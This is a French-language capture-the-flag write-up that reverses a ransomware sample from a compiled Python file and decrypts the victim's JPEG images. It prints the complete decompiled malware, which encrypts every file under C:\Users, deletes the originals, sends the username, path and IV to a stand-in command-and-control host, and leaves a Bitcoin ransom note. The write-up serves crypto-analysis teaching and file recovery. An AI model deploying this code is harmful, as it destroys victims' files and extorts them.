Santhacklaus 2019 - Jacques ! Au secours !

Posted on mar. 31 décembre 2019 in CTF

solves : 57

One of our VIP clients, who wishes to remain anonymous, has apparently been hacked and all their important documents are now corrupted.

Can you help us recover the files? We found a strange piece of software that might have caused all of this.

MD5 of the file : ccaab91b06fc9a77f3b98d2b9164df8e

Informations générales

On récupère une archive. On peut donc facilement lister son contenu avec la commande zipinfo :

$ zipinfo chall_files.zip 
Archive:  chall_files.zip
Zip file size: 399799 bytes, number of entries: 8
drwx---     3.1 fat        0 bx stor 19-Dec-10 16:44 chall_files/
drwx---     3.1 fat        0 bx stor 19-Dec-10 16:37 chall_files/vacation pictures/
-rw-a--     3.1 fat   174736 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0533.jpg.hacked
-rw-a--     3.1 fat    74368 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0534.jpg.hacked
-rw-a--     3.1 fat    88176 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0535.jpg.hacked
-rw-a--     3.1 fat    58400 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0536.jpg.hacked
-rw-a--     3.1 fat       76 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/READ_THIS.txt
-rw-a--     3.1 fat     3804 bx defN 19-Dec-10 16:41 chall_files/virus.cpython-37.pyc
8 files, 399560 bytes uncompressed, 398247 bytes compressed:  0.3%

Elle est composée des images chiffrées (la source doit contenir le flag) et d'un script python compilé (virus.cpython-37.pyc). Il faut cependant savoir que du code python compilé et non masqué est très facilement réversible. Ce n'est absolument pas une bonne idée de fournir la version compilée d'un programme en python car l'ensemble des sources peut facilement y être retrouvé.

Récupération des sources

La commande uncompyle6 (https://pypi.org/project/uncompyle6/) prend en charge l'ensemble des versions python (de la 1.0 à 3.8) et fonctionne très bien.

$ uncompyle6 virus.cpython-37.pyc > virus.cpython-37.py

Elle nous permet d'avoir le code source suivant :

# uncompyle6 version 3.6.1
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.1 (default, Dec 21 2019, 20:57:38) 
# [GCC 9.2.0]
# Embedded file name: /mnt/c/Users/Mat/Documents/_CTF/Santhacklaus/2019/virus.py
# Size of source mod 2**32: 3473 bytes
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib, os, getpass, requests
TARGET_DIR = 'C:\\Users'
C2_URL = 'https://c2.virus.com/'
TARGETS = ['Scott Farquhar', 'Lei Jun', 'Reid Hoffman', 'Zhou Qunfei', 'Jeff Bezos', 'Shiv Nadar', 'Simon Xie', 'Ma Huateng', 'Ralph Dommermuth', 'Barry Lam', 'Nathan Blecharczyk', 'Judy Faulkner', 'William Ding', 'Scott Cook', 'Gordon Moore', 'Marc Benioff', 'Michael Dell', 'Yusaku Maezawa', 'Yuri Milner', 'Bobby Murphy', 'Larry Page', 'Henry Samueli', 'Jack Ma', 'Jen-Hsun Huang', 'Jay Y. Lee', 'Joseph Tsai', 'Dietmar Hopp', 'Henry Nicholas, III.', 'Dustin Moskovitz', 'Mike Cannon-Brookes', 'Robert Miller', 'Bill Gates', 'Garrett Camp', 'Lin Xiucheng', 'Gil Shwed', 'Sergey Brin', 'Rishi Shah', 'Denise Coates', 'Zhang Fan', 'Michael Moritz', 'Robin Li', 'Andreas von Bechtolsheim', 'Brian Acton', 'Sean Parker', 'John Doerr', 'David Cheriton', 'Brian Chesky', 'Wang Laisheng', 'Jan Koum', 'Jack Sheerack', 'Terry Gou', 'Adam Neumann', 'James Goodnight', 'Larry Ellison', 'Wang Laichun', 'Masayoshi Son', 'Min Kao', 'Hiroshi Mikitani', 'Lee Kun-Hee', 'David Sun', 'Mark Scheinberg', 'Yeung Kin-man', 'John Tu', 'Teddy Sagi', 'Frank Wang', 'Robert Pera', 'Eric Schmidt', 'Wang Xing', 'Evan Spiegel', 'Travis Kalanick', 'Steve Ballmer', 'Mark Zuckerberg', 'Jason Chang', 'Lam Wai Ying', 'Romesh T. Wadhwani', 'Liu Qiangdong', 'Jim Breyer', 'Zhang Zhidong', 'Pierre Omidyar', 'Elon Musk', 'David Filo', 'Joe Gebbia', 'Jiang Bin', 'Pan Zhengmin', 'Douglas Leone', 'Hasso Plattner', 'Paul Allen', 'Meg Whitman', 'Azim Premji', 'Fu Liquan', 'Jeff Rothschild', 'John Sall', 'Kim Jung-Ju', 'David Duffield', 'Gabe Newell', 'Scott Lin', 'Eduardo Saverin', 'Jeffrey Skoll', 'Thomas Siebel', 'Kwon Hyuk-Bin']

def get_username():
    return getpass.getuser().encode()


def xorbytes(a, b):
    assert len(a) == len(b)
    res = ''
    for c, d in zip(a, b):
        res += bytes([c ^ d])

    return res


def lock_file(path):
    username = get_username()
    hsh = hashlib.new('md5')
    hsh.update(username)
    key = hsh.digest()
    cip = AES.new(key, 1)
    iv = get_random_bytes(16)
    params = (('target', username), ('path', path), ('iv', iv))
    requests.get(C2_URL, params=params)
    with open(path, 'rb') as fi:
        with open(path + '.hacked', 'wb') as fo:
            block = fi.read(16)
            while block:
                while len(block) < 16:
                    block += bytes([0])

                cipherblock = cip.encrypt(xorbytes(block, iv))
                iv = cipherblock
                fo.write(cipherblock)
                block = fi.read(16)

    os.unlink(path)


def lock_files():
    username = get_username()
    if username in TARGETS:
        for directory, _, filenames in os.walk(TARGET_DIR):
            for filename in filenames:
                if filename.endswith('.hacked'):
                    continue
                fullpath = os.path.join(directory, filename)
                print('Encrypting', fullpath)
                lock_file(fullpath)

        with open(os.path.join(TARGET_DIR, 'READ_THIS.txt'), 'wb') as fo:
            fo.write('We have hacked all your files. Buy 1 BTC and contact us at hacked@virus.com\n')


if __name__ == '__main__':
    lock_files()
# okay decompiling virus.cpython-37.pyc

Fonctionnement

Afin de procéder au déchiffrement, il est nécessaire de comprendre comment les fichiers ont été chiffrés avant.

Le script vérifie que l'utilisateur courant est bien présent dans la liste des cible (if username in TARGETS:) avant de chiffrer l'ensemble des fichiers présents dans le dossier cible (for directory, _, filenames in os.walk(TARGET_DIR):). Il va alors chiffré l'ensemble du dossier C:\Users du poste. Pour chaque fichier présent, il le chiffre à l'aide de la fonction def lock_file(path).

Fonction lock_file

Cette fonction utilise la librairie python hashlib (https://docs.python.org/3/library/hashlib.html) et Crypto (https://www.dlitz.net/software/pycrypto/).

La première permet l'utilisation de hash. Ici, celui utilisé est le condensat md5 du nom d'utilisateur courant. Cette valeur est ensuite utilisée comme clé de chiffrement. Le chiffrement est donc défini de la manière suivante :

  • clé : hash md5 de get_username
  • algorithme : 1 qui correspond au mode AES_ECB
  • longueur de bloc : 16 octets (valeur par défaut)
>>> AES.MODE_ECB
1

Le schéma suivant illustre le fonctionnement de la méthode ECB :

https://upload.wikimedia.org/wikipedia/commons/thumb/d/d6/ECB_encryption.svg/601px-ECB_encryption.svg.png

Cette méthode prend chaque bloc de manière séparée et le chiffre avec la clé définie. Cette méthode est à déconseiller comme les motifs présents dans les données sources seront toujours présents. Elle présente cependant l'avantage de pouvoir déchiffrer seulement une partie des données.

Une variable iv est initié avec 16 octets aléatoires :

    iv = get_random_bytes(16)

Un fois le chiffrement défini, l'ensemble des paramètres est envoyé à un serveur C2 (Command and Control) ('https://c2.virus.com/') afin que l'attaquant puisse déchiffrer les fichiers.

    params = (('target', username), ('path', path), ('iv', iv))
    requests.get(C2_URL, params=params)

Le fichier source est ensuite ouvert (with open(path, 'rb') as fi:) et le fichier contenant le résultat est créé en ajoutant la nouvelle extension qui est visible dans l'archive (with open(path + '.hacked', 'wb') as fo:).

Le fichier source est lu par bloc de 16 octets et le dernier est rempli de 0 si jamais sa taille est inférieure.

            block = fi.read(16)
            while block:
                while len(block) < 16:
                    block += bytes([0])

Le chiffrement du bloc est initié avec le code suivant :

                cipherblock = cip.encrypt(xorbytes(block, iv))
                iv = cipherblock
                fo.write(cipherblock)

Fonction xorbytes

Avant d'appliquer le chiffrement AES, la fonction suivante est appelée :

def xorbytes(a, b)

Cette fonction permet de faire l'opération binaire XOR entre deux blocs de données. Ici, block (correspond aux 16 octets lus) et iv. Cette opération mathématique donne la table de vérité suivante :

A B A ⊕ B
0 0 0
0 1 1
1 0 1
1 1 0

Méthode de chiffrement finale

Cependant, la méthode ECB avec application de l'opération XOR comprenant un vecteur d'initialisation (la variable iv) donne en fait le chiffrement AES CBC comme l'illustre le schéma suivant :

https://upload.wikimedia.org/wikipedia/commons/4/42/Schema_CBC.svg

note : un vecteur d'initialisation est un bloc de bits combiné avec le premier bloc de données. Il permet de rendre le résultat plus aléatoire.

Déchiffrement

Nous avons donc l'ensemble des informations nécessaires au déchiffrement des fichiers. Les 16 premiers octets sont aléatoires mais nous savons que ces fichiers sont initialement des JPEG. Il faut donc remplacer ce premier bloc avec celui qui correspond au magic number du JPEG : ffd8ffe000104a464946000100000000. La méthode CBC fera le reste du déchiffrement de manière automatique (l'iv peut être aléatoire comme le premier bloc sera remplacé par le magic number).

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib, os, getpass, requests

def unlock_file(username, path):
    hsh = hashlib.new('md5')
    hsh.update(username.encode())
    key = hsh.digest()
    iv = get_random_bytes(16)
    cip = AES.new(key, AES.MODE_CBC, iv)
    with open(path, 'rb') as (fi):
        with open(path.replace(".hacked",""), 'wb') as (fo):
            block = fi.read(16)
            fo.write(b'\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x00\x00\x00\x00')
            while block:
                while len(block) < 16:
                    block += bytes([0])

                cipherblock = cip.decrypt(block)
                fo.write(cipherblock)
                block = fi.read(16)

def unlock_files(target):
    username = "Jack Sheerack"
    for directory, _, filenames in os.walk(target):
        for filename in filenames:
            if filename.endswith('.hacked'):
                fullpath = os.path.join(directory, filename)
                print('Decrypting', fullpath)
                unlock_file(username, fullpath)
    pass

if __name__ == '__main__':
    unlock_files("vacation pictures")

Le choix du nom d'utilisateur s'est fait par déduction avec le nom du challenge (Jacques). Cependant, des tests avec les autres valeurs présentes ne sont pas très long.

On lance notre script :

$ python3 decrypt.py
Decrypting vacation pictures/DCIM-0536.jpg.hacked
Decrypting vacation pictures/DCIM-0533.jpg.hacked
Decrypting vacation pictures/DCIM-0534.jpg.hacked
Decrypting vacation pictures/DCIM-0535.jpg.hacked
$ tree vacation\ pictures
vacation pictures
├── DCIM-0533.jpg
├── DCIM-0533.jpg.hacked
├── DCIM-0534.jpg
├── DCIM-0534.jpg.hacked
├── DCIM-0535.jpg
├── DCIM-0535.jpg.hacked
├── DCIM-0536.jpg
├── DCIM-0536.jpg.hacked
└── READ_THIS.txt
$ file vacation\ pictures/DCIM-0533.jpg 
vacation pictures/DCIM-0533.jpg: JPEG image data, JFIF standard 1.00, aspect ratio, density 0x21932, segment length 16, thumbnail 230x244

Ok, tout semble bon. On ouvre donc les images à la recherche enfin de notre flag :

DCIM-0534.jpg

FLAAAG !

https://i.giphy.com/media/11sBLVxNs7v6WA/giphy.webp

Très bon challenge pour appréhender la cryptographie et comprendre ces différents modes de fonctionnement.

ps : j'ai réussi à le finir et valider ce challenge à 5 minutes de la fin. C'était le stress sur la fin pour réussir à avoir des images valides (pris seulement les 3 premiers octets du JPEG et non les 16).